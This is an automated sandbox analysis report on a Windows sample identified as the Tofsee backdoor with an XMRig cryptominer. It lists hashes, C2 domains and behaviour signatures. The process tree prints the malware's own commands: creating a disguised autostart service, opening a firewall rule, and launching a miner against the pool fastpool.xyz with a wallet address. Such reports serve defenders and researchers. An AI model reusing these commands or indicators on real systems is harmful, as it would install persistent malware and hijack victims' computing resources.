Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 09:59

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    2a1390eb5563d733832c473f1109e872

  • SHA1

    44429ef9a32e8ce931eeb541a3863ed6f9727ccb

  • SHA256

    d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31

  • SHA512

    5ac6fcbd42942d7656c651fab7432a0942570afc5068e96e6a7c41a0b504059605052eab306193f686199c1bf739a2af0982bf480b995e55b9e116abd6c8b4e2

  • SSDEEP

    3072:GVXQ37fLJYJqgU5AoFCE+MBVaXAlXxDAVh5lRIxEnU:OQLfL2k7xCE+U6exDAfRq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ubexubrr\
      2⤵
        PID:2732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yferzzhl.exe" C:\Windows\SysWOW64\ubexubrr\
        2⤵
          PID:2652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ubexubrr binPath= "C:\Windows\SysWOW64\ubexubrr\yferzzhl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ubexubrr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ubexubrr
          2⤵
          • Launches sc.exe
          PID:2528
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2584
      • C:\Windows\SysWOW64\ubexubrr\yferzzhl.exe
        C:\Windows\SysWOW64\ubexubrr\yferzzhl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:836

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\yferzzhl.exe

              Filesize

              14.8MB

              MD5

              74220714e8fe888398163b364ca32b9b

              SHA1

              c791850c3b2ed11e85d888f3a8f172e5d3c0466f

              SHA256

              5c14eaa7df1633dbd56f38b9d43229a2646ef487edcb5fc884b874fb14b4b645

              SHA512

              1ff02c89a519805d6454130d0f0fcf4c174a75cb0ca05d0bfc9e66563b7f45624d689d0d6e9b1d108308de35d3967b997f20bb8101ba4ba7084fede137d61750

            • C:\Windows\SysWOW64\ubexubrr\yferzzhl.exe

              Filesize

              14.8MB

              MD5

              74220714e8fe888398163b364ca32b9b

              SHA1

              c791850c3b2ed11e85d888f3a8f172e5d3c0466f

              SHA256

              5c14eaa7df1633dbd56f38b9d43229a2646ef487edcb5fc884b874fb14b4b645

              SHA512

              1ff02c89a519805d6454130d0f0fcf4c174a75cb0ca05d0bfc9e66563b7f45624d689d0d6e9b1d108308de35d3967b997f20bb8101ba4ba7084fede137d61750

            • memory/836-63-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-78-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-77-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-76-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-75-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-74-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-73-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/836-65-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2544-38-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-43-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2544-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2544-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2544-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2544-24-0x0000000001A10000-0x0000000001C1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2544-27-0x0000000001A10000-0x0000000001C1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2544-31-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-28-0x0000000000140000-0x0000000000146000-memory.dmp

              Filesize

              24KB

            • memory/2544-34-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-35-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-36-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-37-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2544-39-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-40-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-41-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-42-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2544-44-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-45-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-46-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-47-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-48-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-49-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-50-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2544-51-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/2544-54-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/2544-55-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2544-58-0x0000000005890000-0x0000000005C9B000-memory.dmp

              Filesize

              4.0MB

            • memory/2544-59-0x0000000000200000-0x0000000000207000-memory.dmp

              Filesize

              28KB

            • memory/2548-16-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2548-11-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2548-10-0x0000000000250000-0x0000000000350000-memory.dmp

              Filesize

              1024KB

            • memory/2888-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/2888-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2888-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2888-3-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2888-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB